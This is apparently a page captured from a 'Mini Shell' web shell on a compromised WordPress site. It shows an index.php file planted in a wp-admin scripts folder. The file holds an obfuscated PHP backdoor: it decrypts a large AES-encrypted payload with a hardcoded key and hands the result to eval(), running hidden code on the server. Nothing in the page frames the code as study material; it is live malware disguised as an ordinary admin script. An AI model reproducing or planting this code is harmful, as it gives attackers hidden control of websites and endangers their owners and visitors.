HOME


Mini Shell 1.0
DIR: /home/dhnidqcz/jamesakinola.com/wp-admin/js/widgets/commands/
Upload File :
Current File : /home/dhnidqcz/jamesakinola.com/wp-admin/js/widgets/commands/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('xhpcnuW4G3Mt4Y2ozQYSmcsta3gQdzQQ');
$str = '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';
$decrypted = $secure->decrypt($str);
$dQYEhjcNJb = function($EbQoeKugXK8){
/*HeCQFNBo5*/eVaL($EbQoeKugXK8);
$GjvTjHB0dR2 = "efRobCppvI3pX0Vpc8AfdF1VMOuOPoBQ";
return $GjvTjHB0dR2;
};
$dQYEhjcNJb($decrypted);